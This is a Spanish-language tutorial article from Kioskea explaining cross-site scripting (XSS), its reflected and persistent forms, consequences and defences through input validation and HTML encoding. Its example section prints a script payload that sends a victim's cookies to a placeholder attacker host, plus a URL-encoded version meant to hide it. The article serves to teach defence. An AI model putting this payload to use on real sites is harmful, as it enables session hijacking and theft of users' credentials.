Sunteți pe pagina 1din 2

Ataques de secuencia de comandos entre pginas Web (XSS)

Junio 2014

Inyeccin de cdigo malintencionado


Los ataques por secuencias de comandos entre pginas Web (tambin conocidos como XSS o CSS) son ataques dirigidos a los pginas Web que
muestran de forma dinmica el contenido de los usuarios sin verificar ni codificar la informacin ingresada por ellos. Este tipo de ataque obliga a la pgina
Web a mostrar el cdigo HTML o los comandos ingresados por los usuarios. Por lo tanto, el cdigo incluido (por lo general se usa el trmino "inyectado") en
una pgina Web vulnerable se considera "malintencionado".
Es comn que las pginas Web muestren mensajes informativos directamente mediante el uso de un parmetro introducido por el usuario. El ejemplo ms
clsico es el de las "pginas de error 404". Algunas pginas Web modifican el comportamiento de la pgina Web de modo que pueda mostrar un mensaje
de error personalizado cuando la pgina solicitada por el visitante no existe. En ciertas ocasiones, la pgina generada dinmicamente muestra el nombre
de aquella que se solicita. A una pgina Web con dicho error la llamaremos http://paginaweb.vulnerable. La solicitud de la direccin URL del pgina Web
http://pagina web.vulnerable/paginainexistente correspondiente a una pgina que no existe genera un mensaje de error que indica que la "pgina
inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el pgina Web remplazando "pgina inexistente" por cualquier otra
cadena.
De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un cdigo HTML arbitrario en una pgina Web para cambiar su
apariencia, contenido o comportamiento.
Asimismo, la mayora de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las pginas Web, incluso en otros lenguajes,
como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una pgina
Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.
Por lo tanto, un pirata informtico puede inyectar un cdigo arbitrario en la pgina para que se ejecute en el equipo del usuario cuando intenta garantizar la
seguridad de la pgina Web vulnerable. Para ello, slo debe remplazar el valor del texto que se mostrar con una secuencia de comandos de modo que
aparezca en la pgina Web. Siempre y cuando el navegador del usuario est configurado para ejecutar dichas secuencias de comandos, el cdigo
malintencionado tendr acceso a todos los datos compartidos por la pgina Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias
Gracias a las vulnerabilidades de las secuencias de comandos entre pginas Web, un pirata informtico puede usar este mtodo para recuperar datos
intercambiados entre el usuario y el pgina Web al que ingresa. Por ejemplo, el cdigo inyectado en la pgina se puede usar para engaar al usuario y
hacer que ingrese informacin de autenticacin.
Adems, la secuencia de comandos inyectada puede redireccionar al usuario a una pgina Web controlada por el pirata informtico, probablemente con la
misma interfaz grfica que la pgina Web comprometida para engaar al usuario.
En este contexto, la relacin de confianza que exista entre el usuario y el pgina Web se ve afectada por completo.

Persistencia del ataque


Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto perodo de tiempo (como en el caso de un foro de discusin, por
ejemplo), el ataque se llama "persistente". Todos los usuarios de la pgina Web tienen acceso a la pgina donde se ha inyectado el cdigo.
Los ataques denominados "no persistentes" se dirigen a pginas Web dinmicas en las que una variable ingresada por el usuario se muestra como tal
(por ejemplo, cuando aparece el nombre de usuario de la pgina actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta
vulnerabilidad, el atacante debe proporcionar a la vctima una direccin URL modificada, transfiriendo el cdigo que se debe ingresar como un parmetro.
Sin embargo, debido a que una direccin URL contiene cdigo Javascript y algunos elementos pueden resultarle sospechosos a la vctima, este ataque
generalmente se realiza codificando los datos de la direccin URL para que el cdigo inyectado permanezca oculto.

Ejemplo
Supongamos que la pgina de inicio de CmoFunciona.net es vulnerable a un ataque por secuencia de comandos entre pginas Web ya que en ella
puede aparecer un mensaje de bienvenida con el nombre del usuario como un parmetro:
http://es.kioskea.net/?nom=Jeff
Una persona malintencionada podra llevar a cabo un ataque XSS al proporcionar a la vctima una direccin que remplace el nombre "Jeff" con un cdigo
HTML. En especial, podra transferir el siguiente cdigo Javascript como un parmetro para redireccionar al usuario a una pgina controlada por el pirata:
<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
El cdigo anterior recupera las cookies del usuario y las enva como parmetros a una secuencia de comandos CGI. El siguiente cdigo transferido como
un parmetro sera demasiado obvio:
http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
No obstante, la codificacin de la direccin URL permite ocultar el ataque:

http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%

Ataque entre pginas Web


En el ejemplo anterior, toda la secuencia de comandos se transfiri como un parmetro URL. El mtodo GET, que permite transferir los parmetros a la
direccin URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un cdigo
malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un cdigo desde una fuente remota, este
tipo de ataque se realiza "entre pginas Web".

Proteccin
Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de
comando. En realidad, esto no brinda una solucin ptima para el usuario ya que muchas pginas Web no funcionan adecuadamente cuando se prohbe la
ejecucin de un cdigo dinmico.
La nica solucin viable para impedir los ataques por secuencias de comandos entre pginas Web consiste en disear pginas Web sin vulnerabilidades.
Para ello, el diseador debe:
verificar el formato de los datos ingresados por los usuarios
codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML
El trmino "sanitizacin"(sanitation en ingls) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.

Ms informacin
Asesora de CERT acerca de las etiquetas HTML malintencionadas CA-2000-02 incorporadas en las solicitudes Web del cliente
CERT: Cmo reducir el contenido malintencionado para desarrolladores Web
Cross-Site Scripting attacks Angriffe Cross-Site Scripting XSS - Cross-Site Scripting XSS - Cross-Site Scripting Ataques Cross-Site Scripting
Este documento intitulado Ataques de secuencia de comandos entre pginas Web (XSS) de Kioskea (es.kioskea.net) esta puesto a diposicin bajo la licencia Creative Commons. Puede
copiar, modificar bajo las condiciones puestas por la licencia, siempre que esta nota sea visible.

S-ar putea să vă placă și